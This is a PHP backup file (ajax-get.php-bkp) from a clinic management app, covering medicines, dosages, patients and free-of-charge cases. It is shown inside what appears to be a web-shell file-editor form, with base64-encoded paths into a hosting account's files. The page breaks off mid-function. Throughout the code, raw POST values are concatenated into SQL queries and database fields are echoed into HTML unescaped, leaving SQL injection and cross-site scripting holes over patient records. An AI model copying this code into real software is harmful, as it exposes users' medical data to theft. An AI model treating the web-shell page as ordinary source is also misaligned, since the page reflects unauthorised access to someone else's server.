1ajax-get.php-bkp<form method=post action="?d=L2hvbWUvdTg1NjMwMjE0Ny9kb21haW5zL3ZwYXJraW5nLmxpdmUvcHVibGljX2h0bWwvZG9jdG9yL0NvbmZpZw%3D%3D&f=YWpheC1nZXQucGhwLWJrcA%3D%3D"><input name="f" value="ajax-get.php-bkp"><textarea name="t">&lt;?php 
    include('database.php');
    error_reporting(0);
    $status = $_POST['status'];

    if($status == 'get-chapter-field') {
        print_r($_POST);exit();
    }

    if ($status == 'search-state') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_state` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `stateName` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `stateId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['stateId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['stateName'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;state.php?id='.base64_encode($row['stateId']).'&quot; onclick=&quot;updateData('.$row['stateId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['stateId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-location') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_location` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `city` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `id` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['id'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['city'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['district'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['state'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;location.php?id='.base64_encode($row['id']).'&quot; onclick=&quot;updateData('.$row['id'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['id'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;5&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-slot') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_slot` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `slotId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['slotId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;slot.php?id='.base64_encode($row['slotId']).'&quot; onclick=&quot;updateData('.$row['slotId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['slotId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-kco') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_kco` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `kcoId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['kcoId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;kco.php?id='.base64_encode($row['kcoId']).'&quot; onclick=&quot;updateData('.$row['kcoId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['kcoId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-medicinecat') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_medicine_category` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `mcatId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['mcatId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;medicinecategory.php?id='.base64_encode($row['mcatId']).'&quot; onclick=&quot;updateData('.$row['mcatId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['mcatId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-dosage') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_dosage` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `dosageId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['dosageId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;dosage.php?id='.base64_encode($row['dosageId']).'&quot; onclick=&quot;updateData('.$row['dosageId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['dosageId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-medicineInstruction') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_medicine_instruction` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `miId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['miId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;medicineInstruction.php?id='.base64_encode($row['miId']).'&quot; onclick=&quot;updateData('.$row['miId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['miId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-medicineType') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_medicine_type` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `mtId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['mtId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;medicineType.php?id='.base64_encode($row['mtId']).'&quot; onclick=&quot;updateData('.$row['mtId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['mtId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;3&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-viewmedicinegroup') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT tbl_medicine_group.*,tbl_medicine.*,tbl_medicine_instruction.name AS instuction,tbl_dosage.name AS dosageName
                     FROM tbl_medicine_group
                     LEFT JOIN tbl_medicine ON tbl_medicine.medicineId = tbl_medicine_group.medicineId
                     LEFT JOIN tbl_medicine_instruction ON tbl_medicine_group.miId = tbl_medicine_instruction.miId 
                     LEFT JOIN tbl_dosage ON tbl_medicine_group.dosageId = tbl_dosage.dosageId 
                     WHERE tbl_medicine_group.deleteStatus = '0'&quot;; 

        if (!empty($search)) {
            $query .= &quot; AND `groupName` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `mgId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;

                echo '&lt;tr id=&quot;rowId'.$row['mgId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['GroupCode'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['GroupName'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;medicinegroup.php?id='.base64_encode($row['mgId']).'&quot; onclick=&quot;updateData('.$row['mgId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['mgId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
            // &lt;td&gt;
            //             &lt;a onclick=&quot;viewData('.$row['mgId'].')&quot; class=&quot;btn btn-sm btn-primary&quot;&gt;&lt;i class=&quot;fas fa-eye&quot;&gt;&lt;/i&gt;&lt;/a&gt;
            //         &lt;/td&gt;
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;7&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-medicine') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT tbl_medicine.*,tbl_medicine_type.* FROM tbl_medicine 
                    LEFT JOIN tbl_medicine_type ON tbl_medicine.mtId = tbl_medicine_type.mtId WHERE tbl_medicine.deleteStatus = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `medicineName` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `medicineId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                echo '&lt;tr id=&quot;rowId'.$row['medicineId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['medicineName'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['name'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['price'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['composition'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;medicine.php?id='.base64_encode($row['medicineId']).'&quot; onclick=&quot;updateData('.$row['medicineId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['medicineId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;6&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }

    if ($status == 'search-foc') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

    if($_SESSION['ivLoginType'] == 'RECEPTION'){

        $query = &quot;SELECT tbl_foc.*,tbl_patient.*,tbl_patient.firstName AS patient,tbl_doctor.doctorName AS doctorName,tbl_foc.caseFee AS focfee,
                    tbl_reception.receptionName AS receptionName FROM tbl_foc
                    LEFT JOIN tbl_patient ON tbl_foc.patientId = tbl_patient.patientId
                    LEFT JOIN tbl_doctor ON tbl_foc.doctorId = tbl_doctor.doctorId
                    LEFT JOIN tbl_reception ON tbl_foc.receptionId = tbl_reception.receptionId
                    WHERE tbl_foc.deleteStatus = '0' AND tbl_foc.receptionId = '&quot;.$_SESSION['ivReceptionId'].&quot;'&quot;;
        if (!empty($search)) {
            $query .= &quot; AND `patient` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `focId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                 $btnClass = ($row['accept'] == 1) ? 'btn-danger disabled-btn' : 'btn-success';
                $iconClass = ($row['accept'] == 1) ? 'fa-ban' : 'fa-check';

                // Disable button functionality if accept = 1
                $clickAction = ($row['accept'] == 1) ? 'return false;' : 'acceptFOC('.$row['focId'].');';

                $activeBtn = &quot;&quot;;
                echo '&lt;tr id=&quot;rowId'.$row['focId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['patient'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['focfee'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['doctorName'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; 
                           onclick=&quot;'.$clickAction.'&quot; 
                           class=&quot;btn btn-sm '.$btnClass.' mlbtn-5&quot;&gt;
                           &lt;i class=&quot;fa-solid '.$iconClass.'&quot;&gt;&lt;/i&gt;
                        &lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;6&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
    }else{
         $query = &quot;SELECT tbl_foc.*,tbl_patient.*,tbl_patient.firstName AS patient,
                    tbl_doctor.doctorName AS doctorName,tbl_foc.caseFee AS focfee,
                    tbl_reception.receptionName AS receptionName FROM tbl_foc 
                    LEFT JOIN tbl_patient ON tbl_foc.patientId = tbl_patient.patientId
                    LEFT JOIN tbl_doctor ON tbl_foc.doctorId = tbl_doctor.doctorId
                    LEFT JOIN tbl_reception ON tbl_foc.receptionId = tbl_reception.receptionId
                    WHERE tbl_foc.deleteStatus = '0' AND tbl_foc.doctorId = '&quot;.$_SESSION['ivDoctorId'].&quot;'&quot;; 

                  
            if (!empty($search)) {
                $query .= &quot; AND `patient` LIKE '%&quot;.$search.&quot;%'&quot;;
            }

            $query1 = $query;
            $query .= &quot; ORDER BY `focId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

            $result = mysqli_query($con, $query);
            $count = mysqli_num_rows($result); // changed $query to $result
            $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
            if ($count &gt; 0) {
                $i = $offset;
                while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                    $i++;
                    echo '&lt;tr id=&quot;rowId'.$row['focId'].'&quot;&gt;
                        &lt;td&gt;'.$i.'&lt;/td&gt;
                        &lt;td&gt;'.$row['patient'].'&lt;/td&gt;
                        &lt;td&gt;'.$row['focfee'].'&lt;/td&gt;
                        &lt;td&gt;'.$row['receptionName'].'&lt;/td&gt;
                        &lt;td&gt;
                            &lt;a href=&quot;foc.php?id='.base64_encode($row['focId']).'&quot; onclick=&quot;updateData('.$row['focId'].')&quot; class=&quot;btn btn-sm btn-warning&quot;&gt;&lt;i class=&quot;fas fa-pen&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                            &lt;a href=&quot;javascript:void(0)&quot; onclick=&quot;deleteData('.$row['focId'].')&quot; class=&quot;btn btn-sm btn-danger mlbtn-5&quot;&gt;&lt;i class=&quot;feather-trash-2&quot;&gt;&lt;/i&gt;&lt;/a&gt;
                            '.$activeBtn.'
                         &lt;/td&gt;
                    &lt;/tr&gt;';
                }
            } else {
                echo '&lt;tr&gt;
                    &lt;td colspan=&quot;6&quot;&gt;
                        &lt;center&gt;
                            No Data Found
                        &lt;/center&gt;
                    &lt;/td&gt;
                &lt;/tr&gt;';
            }
        }
        echo '|$|';
        echo 'Showing '.$startCount.' to '.$i.' entries of &lt;span id=&quot;totalEntries&quot;&gt;'.$count1.'&lt;/span&gt; entries';
    }


    if ($status == 'search-allfoc') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT tbl_foc.*,tbl_patient.*,tbl_patient.firstName AS patient,tbl_doctor.doctorName AS doctorName,tbl_foc.caseFee AS focfee,
                    tbl_reception.receptionName AS receptionName FROM tbl_foc
                    LEFT JOIN tbl_patient ON tbl_foc.patientId = tbl_patient.patientId
                    LEFT JOIN tbl_doctor ON tbl_foc.doctorId = tbl_doctor.doctorId
                    LEFT JOIN tbl_reception ON tbl_foc.receptionId = tbl_reception.receptionId
                    WHERE tbl_foc.deleteStatus = '0'&quot;;
        if (!empty($search)) {
            $query .= &quot; AND `patient` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
        $query .= &quot; ORDER BY `focId` ASC LIMIT &quot;.$offset.&quot;, &quot;.$dataLimit;

        $result = mysqli_query($con, $query);
        $count = mysqli_num_rows($result); // changed $query to $result
        $count1 = mysqli_num_rows(mysqli_query($con, $query1)); // changed $query to $result
        if ($count &gt; 0) {
            $i = $offset;
            while ($row = mysqli_fetch_array($result)) { // changed $query to $result
                $i++;
                 $btnClass = ($row['accept'] == 1) ? 'btn-danger disabled-btn' : 'btn-success';
                $iconClass = ($row['accept'] == 1) ? 'fa-ban' : 'fa-check';

                // Disable button functionality if accept = 1
                $clickAction = ($row['accept'] == 1) ? 'return false;' : 'acceptFOC('.$row['focId'].');';

                $activeBtn = &quot;&quot;;
                echo '&lt;tr id=&quot;rowId'.$row['focId'].'&quot;&gt;
                    &lt;td&gt;'.$i.'&lt;/td&gt;
                    &lt;td&gt;'.$row['patient'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['focfee'].'&lt;/td&gt;
                    &lt;td&gt;'.$row['doctorName'].'&lt;/td&gt;
                    &lt;td&gt;
                        &lt;a href=&quot;javascript:void(0)&quot; 
                           onclick=&quot;'.$clickAction.'&quot; 
                           class=&quot;btn btn-sm '.$btnClass.' mlbtn-5&quot;&gt;
                           &lt;i class=&quot;fa-solid '.$iconClass.'&quot;&gt;&lt;/i&gt;
                        &lt;/a&gt;
                        '.$activeBtn.'
                     &lt;/td&gt;
                &lt;/tr&gt;';
            }
        } else {
            echo '&lt;tr&gt;
                &lt;td colspan=&quot;6&quot;&gt;
                    &lt;center&gt;
                        No Data Found
                    &lt;/center&gt;
                &lt;/td&gt;
            &lt;/tr&gt;';
        }
    }

    if ($status == 'search-duration') {

        $offset = $_POST['offset'];
        $dataLimit = $_POST['dataLimit'];
        $search = $_POST['search']; 
        $startCount = $offset + 1;

        $query = &quot;SELECT * FROM `tbl_duration` WHERE `deleteStatus` = '0'&quot;; // simplified query
        if (!empty($search)) {
            $query .= &quot; AND `name` LIKE '%&quot;.$search.&quot;%'&quot;;
        }

        $query1 = $query;
